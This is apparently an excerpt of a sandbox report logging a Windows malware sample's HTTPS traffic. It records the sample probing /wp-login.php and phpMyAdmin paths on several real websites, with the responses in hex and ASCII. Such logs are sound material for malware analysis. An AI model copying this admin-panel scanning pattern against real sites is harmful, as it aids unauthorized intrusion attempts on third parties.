2023-11-26 05:59:38 UTC	535	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 38 20 47 4d 54 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 74 72 61 6e 73 66 65 72 2d 65 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 6b 38 73 70 65 72 73 69 73 74 65 6e 74 3d 32 32 63 62 36 66 34 33 36 34 38 36 35 62 32 65 32 32 30 31 39 63 37 64 61 63 34 33 61 65 37 33 7c 31 31 66 31 38 37 36 33 38 36 34 33 65 31 33 64 37 62 64 31 39 36 33 39 39 31 66 61 63 35 32 62 3b 20 45 78 70 69 72 65 73 3d 54 75 65 2c 20 32 38 2d 4e 6f 76 2d 32 33 20 30 35 3a 35 39 3a 33 38 20 47 Data Ascii: HTTP/1.1 404 Not Founddate: Sun, 26 Nov 2023 05:59:38 GMTcontent-type: text/html; charset=utf-8transfer-encoding: chunkedset-cookie: k8spersistent=22cb6f4364865b2e22019c7dac43ae73\|11f187638643e13d7bd1963991fac52b; Expires=Tue, 28-Nov-23 05:59:38 G
2023-11-26 05:59:38 UTC	6506	IN	Data Raw: 31 39 36 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6e 6c 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 42 65 61 63 68 20 52 65 63 72 75 69 74 6d 65 6e 74 20 42 2e 56 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 53 63 72 69 70 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 4a 61 76 61 73 63 72 69 70 74 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 53 74 79 6c 65 2d 54 79 70 65 22 20 Data Ascii: 1962<!DOCTYPE html><html lang="nl"><head><title>Beach Recruitment B.V.</title><meta http-equiv="Content-Type" content="text/html;charset=UTF-8"><meta http-equiv="Content-Script-Type" content="text/Javascript"><meta http-equiv="Content-Style-Type"
2023-11-26 05:59:38 UTC	4045	IN	Data Raw: 46 43 36 0d 0a 69 65 2f 39 34 38 30 39 2f 69 64 2f 39 34 38 30 39 2f 62 62 2f 31 2f 66 6d 5f 70 61 72 65 6e 74 69 64 2f 39 34 38 30 38 22 3e 4f 70 64 72 61 63 68 74 67 65 76 65 72 73 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 75 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 61 69 6e 4c 65 76 20 6d 61 69 6e 4c 65 76 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 65 61 63 68 72 65 63 72 75 69 74 6d 65 6e 74 2e 63 6f 6d 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6d 73 5f 63 61 74 65 67 6f 72 Data Ascii: FC6ie/94809/id/94809/bb/1/fm_parentid/94808">Opdrachtgevers</a> </li> </ul> </li> <li class="mainLev mainLev"><a href="https://www.beachrecruitment.com/index.php/cms_categor
2023-11-26 05:59:38 UTC	16266	IN	Data Raw: 33 46 38 32 0d 0a 2f 64 69 76 3e 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 4c 49 4e 4b 53 2d 2d 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 0a 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 61 67 65 72 22 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 77 22 3e 3c 2f 64 69 76 3e 0a 09 09 3c 2f 64 69 76 3e 0a 09 09 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 63 72 6f 6c 6c 64 6f 77 6e 22 3e 0a 20 20 20 20 20 20 20 20 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 73 63 72 6f 6c 6c 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 0a 3c 2f 68 65 61 64 65 72 3e 0a 0a 3c 6d 61 69 6e 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 Data Ascii: 3F82/div></div></div>...LINKS--></div></div><div class="pager"><div class="sw"></div></div><div id="scrolldown"> <div class="icon-scroll"></div> </div></div></header><main> <div clas
2023-11-26 05:59:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
197	192.168.2.4	59954	104.26.12.245	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:37 UTC	177	OUT	GET /wp-login.php HTTP/1.1 Host: hightideinc.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	776	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 76 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:38 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0
2023-11-26 05:59:38 UTC	593	IN	Data Raw: 31 38 65 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 48 69 67 68 20 54 69 64 65 20 49 6e 63 2e 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 61 72 63 68 69 76 65 Data Ascii: 18e9<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; High Tide Inc. — WordPress</title><meta name="robots" content="max-image-preview:large, noindex, noarchive
2023-11-26 05:59:38 UTC	1369	IN	Data Raw: 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 66 6f 72 6d 73 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 6c 31 30 6e 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 31 30 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 Data Ascii: f="https://hightideinc.com/wp-admin/css/forms.min.css?ver=6.4.1" type="text/css" media="all" /><link rel="stylesheet" id="l10n-css" href="https://hightideinc.com/wp-admin/css/l10n.min.css?ver=6.4.1" type="text/css" media="all" /><link rel="stylesheet" i
2023-11-26 05:59:38 UTC	1369	IN	Data Raw: 6c 20 41 64 64 72 65 73 73 3c 2f 6c 61 62 65 6c 3e 0a 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 6e 61 6d 65 3d 22 6c 6f 67 22 20 69 64 3d 22 75 73 65 72 5f 6c 6f 67 69 6e 22 20 63 6c 61 73 73 3d 22 69 6e 70 75 74 22 20 76 61 6c 75 65 20 73 69 7a 65 3d 22 32 30 22 20 61 75 74 6f 63 61 70 69 74 61 6c 69 7a 65 3d 22 6f 66 66 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 75 73 65 72 6e 61 6d 65 22 20 72 65 71 75 69 72 65 64 3d 22 72 65 71 75 69 72 65 64 22 20 2f 3e 0a 3c 2f 70 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 75 73 65 72 2d 70 61 73 73 2d 77 72 61 70 22 3e 0a 3c 6c 61 62 65 6c 20 66 6f 72 3d 22 75 73 65 72 5f 70 61 73 73 22 3e 50 61 73 73 77 6f 72 64 3c 2f 6c 61 62 65 6c 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 70 2d 70 77 64 22 Data Ascii: l Address</label><input type="text" name="log" id="user_login" class="input" value size="20" autocapitalize="off" autocomplete="username" required="required" /></p><div class="user-pass-wrap"><label for="user_pass">Password</label><div class="wp-pwd"
2023-11-26 05:59:38 UTC	1369	IN	Data Raw: 75 73 28 29 3b 20 64 2e 73 65 6c 65 63 74 28 29 3b 7d 20 63 61 74 63 68 28 20 65 72 20 29 20 7b 7d 7d 2c 20 32 30 30 29 3b 7d 0a 77 70 5f 61 74 74 65 6d 70 74 5f 66 6f 63 75 73 28 29 3b 0a 69 66 20 28 20 74 79 70 65 6f 66 20 77 70 4f 6e 6c 6f 61 64 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 20 29 20 7b 20 77 70 4f 6e 6c 6f 61 64 28 29 20 7d 0a 2f 2a 20 5d 5d 3e 20 2a 2f 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 70 20 69 64 3d 22 62 61 63 6b 74 6f 62 6c 6f 67 22 3e 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 22 3e 26 6c 61 72 72 3b 20 47 6f 20 74 6f 20 48 69 67 68 20 54 69 64 65 20 49 6e 63 2e 3c 2f 61 3e 20 3c 2f 70 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 69 76 61 63 79 2d 70 6f 6c 69 63 79 2d Data Ascii: us(); d.select();} catch( er ) {}}, 200);}wp_attempt_focus();if ( typeof wpOnload === 'function' ) { wpOnload() }/* ... */</script><p id="backtoblog"><a href="https://hightideinc.com/">← Go to High Tide Inc.</a> </p><div class="privacy-policy-
2023-11-26 05:59:38 UTC	1369	IN	Data Raw: 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 76 65 6e 64 6f 72 2f 77 70 2d 70 6f 6c 79 66 69 6c 6c 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 33 2e 31 35 2e 30 22 20 69 64 3d 22 77 70 2d 70 6f 6c 79 66 69 6c 6c 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 68 6f 6f 6b 73 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 63 36 61 65 63 39 61 38 64 34 65 35 61 35 64 35 34 33 61 31 22 20 69 64 3d 22 77 70 2d 68 6f 6f 6b 73 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 Data Ascii: /hightideinc.com/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0" id="wp-polyfill-js"></script><script type="text/javascript" src="https://hightideinc.com/wp-includes/js/dist/hooks.min.js?ver=c6aec9a8d4e5a5d543a1" id="wp-hooks-js"></script><scr
2023-11-26 05:59:38 UTC	316	IN	Data Raw: 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 69 64 3d 22 75 73 65 72 2d 70 72 6f 66 69 6c 65 2d 6a 73 2d 65 78 74 72 61 22 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 76 61 72 20 75 73 65 72 50 72 6f 66 69 6c 65 4c 31 30 6e 20 3d 20 7b 22 75 73 65 72 5f 69 64 22 3a 22 30 22 2c 22 6e 6f 6e 63 65 22 3a 22 30 30 37 63 61 39 30 65 65 30 22 7d 3b 0a 2f 2a 20 5d 5d 3e 20 2a 2f 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 6a 73 2f 75 73 65 72 2d 70 72 6f 66 69 6c 65 2e 6d 69 6e 2e 6a 73 Data Ascii: /script><script type="text/javascript" id="user-profile-js-extra">/* <![CDATA[ /var userProfileL10n = {"user_id":"0","nonce":"007ca90ee0"};/ ... */</script><script type="text/javascript" src="https://hightideinc.com/wp-admin/js/user-profile.min.js
2023-11-26 05:59:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
198	192.168.2.4	59942	72.167.58.161	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:37 UTC	173	OUT	GET /wp-login.php HTTP/1.1 Host: webstamp.ca Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	275	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 75 70 67 72 61 64 65 2d 69 6e 73 65 63 75 72 65 2d 72 65 71 75 65 73 74 73 3b 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55 70 67 72 61 64 65 2c 20 63 6c 6f 73 65 0d 0a 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 74 65 6e 74 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:38 GMTServer: ApacheContent-Security-Policy: upgrade-insecure-requests;Upgrade: h2,h2cConnection: Upgrade, closeAccept-Ranges: bytesVary: Accept-EncodingTransfer-Encoding: chunkedContent
2023-11-26 05:59:38 UTC	649	IN	Data Raw: 32 37 64 0d 0a 2f 77 70 2d 6c 6f 67 69 6e 2e 70 68 70 4f 4f 50 53 21 20 53 6f 6d 65 74 68 69 6e 67 20 77 65 6e 74 20 77 72 6f 6e 67 2e 20 54 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 68 61 73 20 62 65 65 6e 20 0d 0a 72 65 6d 6f 76 65 64 20 6f 72 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 75 6e 64 65 72 20 6d 61 69 6e 74 65 6e 61 6e 63 65 2e 0d 0a 46 65 65 6c 20 66 72 65 65 20 74 6f 20 72 65 61 64 20 74 68 65 20 6d 61 6e 79 20 6f 74 68 65 72 20 61 72 74 69 63 6c 65 73 20 61 76 61 69 6c 61 62 6c 65 20 61 74 20 0d 0a 68 74 74 70 73 3a 2f 2f 77 65 62 73 74 61 6d 70 2e 63 61 0d 0a 3c 21 2d 2d 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 27d/wp-login.phpOOPS! Something went wrong. The page you requested has been removed or is currently under maintenance.Feel free to read the many other articles available at https://webstamp.ca...

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
199	192.168.2.4	60008	162.210.96.117	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:37 UTC	184	OUT	GET /wp-login.php HTTP/1.1 Host: coralparkchristian.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	580	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 48 50 53 45 53 53 49 44 3d 37 6d 66 76 68 6d 62 34 6d 66 65 61 39 36 38 32 66 63 63 70 65 75 68 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:38 GMTServer: ApachePragma: no-cacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Frame-Options: SAMEORIGINSet-Cookie: PHPSESSID=7mfvhmb4mfea9682fccpeuh
2023-11-26 05:59:38 UTC	3247	IN	Data Raw: 63 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 63 6c 61 73 73 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 38 29 20 5d 3e 3c 21 2d 2d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 Data Ascii: ca8<!DOCTYPE html>...[if IE 8]><html xmlns="http://www.w3.org/1999/xhtml" class="ie8" lang="en-US"><![endif]-->...[if !(IE 8) ]>...><html xmlns="http://www.w3.org/1999/xhtml" lang="en-US">...<![endif]--><head><meta http-equiv="Cont
2023-11-26 05:59:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
200	192.168.2.4	60016	141.193.213.11	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:37 UTC	182	OUT	GET /concord/PhpMyAdmin/ HTTP/1.1 Host: kidsrkids.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	836	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:38 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingVary: Accept-EncodingVary: Accept-EncodingExpires: Wed, 11 Jan 1984 05:00:00 GMT
2023-11-26 05:59:38 UTC	533	IN	Data Raw: 37 63 36 62 0d 0a 09 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 0a 09 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 6e 63 6f 72 64 20 4c 65 61 72 6e 69 6e 67 20 41 63 61 64 65 6d 79 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6b 69 64 73 72 6b 69 64 73 2e 63 6f 6d 2f 63 6f 6e 63 6f 72 64 2f 78 6d 6c 72 70 63 2e 70 68 70 22 3e 0a 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 48 61 6e 64 68 65 6c 64 46 72 69 65 6e 64 6c 79 22 20 63 6f 6e 74 65 6e 74 3d 22 54 72 75 65 22 3e 0a Data Ascii: 7c6b<!DOCTYPE html><html lang="en-US"><head><meta charset="utf-8"><meta name="author" content="Concord Learning Academy"><link rel="pingback" href="https://kidsrkids.com/concord/xmlrpc.php"><meta name="HandheldFriendly" content="True">
2023-11-26 05:59:38 UTC	1369	IN	Data Raw: 6e 20 69 73 5f 62 72 6f 77 73 65 72 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 28 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 64 65 78 4f 66 28 22 43 68 72 6f 6d 65 22 29 20 21 3d 3d 20 2d 20 31 20 7c 7c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 64 65 78 4f 66 28 22 4f 70 65 72 61 22 29 20 21 3d 3d 20 2d 20 31 20 7c 7c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 64 65 78 4f 66 28 22 46 69 72 65 66 6f 78 22 29 20 21 3d 3d 20 2d 20 31 20 7c 7c 0a 20 20 20 20 20 20 Data Ascii: n is_browser() { return ( navigator.userAgent.indexOf("Chrome") !== - 1 \|\| navigator.userAgent.indexOf("Opera") !== - 1 \|\| navigator.userAgent.indexOf("Firefox") !== - 1 \|\|
2023-11-26 05:59:38 UTC	1369	IN	Data Raw: 09 74 72 69 67 67 65 72 3a 20 66 75 6e 63 74 69 6f 6e 20 28 20 65 76 65 6e 74 5f 74 79 70 65 2c 20 65 76 65 6e 74 5f 64 61 74 61 2c 20 65 6c 20 29 20 7b 0a 09 09 09 09 09 09 76 61 72 20 65 76 65 6e 74 3b 0a 09 09 09 09 09 09 74 72 79 20 7b 0a 09 09 09 09 09 09 09 65 76 65 6e 74 20 3d 20 6e 65 77 20 43 75 73 74 6f 6d 45 76 65 6e 74 28 20 65 76 65 6e 74 5f 74 79 70 65 2c 20 7b 20 64 65 74 61 69 6c 3a 20 65 76 65 6e 74 5f 64 61 74 61 20 7d 20 29 3b 0a 09 09 09 09 09 09 7d 20 63 61 74 63 68 20 28 20 65 20 29 20 7b 0a 09 09 09 09 09 09 09 65 76 65 6e 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 20 27 43 75 73 74 6f 6d 45 76 65 6e 74 27 20 29 3b 0a 09 09 09 09 09 09 09 65 76 65 6e 74 2e 